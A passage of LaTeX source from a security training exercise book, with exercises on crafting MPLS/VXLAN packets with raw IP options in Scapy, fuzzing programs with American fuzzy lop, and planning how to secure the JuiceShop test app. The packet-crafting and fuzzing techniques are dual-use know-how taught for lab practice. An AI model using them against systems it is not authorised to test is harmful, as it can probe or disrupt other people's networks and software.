prepacket=mpls_eth/mpls_lables/Ether(dst="00:00:00:00:00:03")/Dot1Q(vlan=42)

...
# Create a VXLAN header
vxlan=prepacket/IP(src=vtepsrc,dst=vtepdst, options=IPOption('\x44\x10\x05\x00\x00\x00\x00\x00'+
'\x00\x00\x00\x00\x00\x00\x00\x00'+'\x88\x04\x10\x10'+
'\x83\x03\x10'+'\x07\x04\x00\x00'))
/UDP(sport=1234,dport=vxlanport)/VXLAN(vni=vni,flags="Instance")

\end{minted}


You should use Python3! So maybe use \verb+pip3 install scapy+ and \verb+python3 mpls-vxlan-datacenter.py+

{\bf Solution:}\\
When you have tried the tool and seen some data you are done.

{\bf Discussion:}\\
Scapy might not be the quickest tool. It can write packets to a binary pcap file though, so you can use tools like \verb+tcpreplay+ for faster transmission.



\chapter{Try American fuzzy lop up to 60min}
\label{ex:american-fuzzy-lop}

Try American fuzzy lop from \link{http://lcamtuf.coredump.cx/afl/}

{\bf Objective:}\\
Try a fuzzer. We will use the popular american fuzzy lop named after a breed of rabits.


{\bf Purpose:}
\begin{quote}
American fuzzy lop is a security-oriented fuzzer that employs a novel type of compile-time instrumentation and genetic algorithms to automatically discover clean, interesting test cases that trigger new internal states in the targeted binary. This substantially improves the functional coverage for the fuzzed code. The compact synthesized corpora produced by the tool are also useful for seeding other, more labor- or resource-intensive testing regimes down the road.
\end{quote}
Source: \link{http://lcamtuf.coredump.cx/afl/}

{\bf Suggested method:}\\
Open the web page \link{http://lcamtuf.coredump.cx/afl/}

Look at the Quick Start Guide and README:\\
\link{http://lcamtuf.coredump.cx/afl/QuickStartGuide.txt}\\
\link{http://lcamtuf.coredump.cx/afl/README.txt}

Follow the tutorial at:\\
\link{http://spencerwuwu-blog.logdown.com/posts/1366733-a-simple-guide-of-afl-fuzzer}

Hint: instead of modifying the bashrc just do a \verb+sudo make install+ to install the afl- programs in the right directories.

Later if you like, modify our demo.c test program from earlier, and fuzz it.

{\bf Hints:}\\
Look at the many projects which have been tested by AFL, the \emph{bug-o-rama trophy case} on the web page.

{\bf Solution:}\\
When afl is installed on at least one laptop on the team, and has run a fuzzing session against a program - no matter if it found anything.

{\bf Discussion:}\\
For how long is it reasonable to fuzz a program? A few days - sure. Maybe run multiple sessions in parallel!






\chapter{Securing the JuiceShop}
\label{ex:secure-juiceshop}


{\bf Objective:}\\
Layout a plan for securing the Juice Shop

{\bf Purpose:}\\
Lets discuss how we can proceed if JuiceShop was a real shop in our organisation

{\bf Suggested method:}\\
Break down the immediate steps for securing this shop.

Should we go and buy a security product for filtering requests?

Should we start logging all requests and analyzing them?\\
To see when we are attacked

{\bf Hints:}\\
There are some gaping holes that can be removed, files that could be downloaded.

Some functions are old and can be removed or turned off.

{\bf Solution:}\\
There is no solution, the discussion is the solution.

{\bf Discussion:}\\
There are some things that can be \emph{fixed} in production, and some can't easily be redone without major interruption

\end{document}



\chapter{ xx min}
\label{ex:}

{\bf Objective:}\\
Try the program XX locally your workstation


{\bf Purpose:}\\
Running XXX will allow you to analyse


\begin{alltt}


\end{alltt}


{\bf Suggested method:}\\
Run the program from your Kali Linux VM


{\bf Hints:}\\
PCAP is a packet capture library allowing you to read packets from the network.
Tcpdump uses libpcap library to read packet from the network cards and save them.
Wireshark is a graphical application to allow you to browse through traffic, packets and protocols.

If the tool is not available first try: \verb+apt-get install *thetool*+

Some tools will need to be checked out from Git and run or installed from source.

{\bf Solution:}\\
When you have tried the tool and seen some data you are done.

{\bf Discussion:}\\
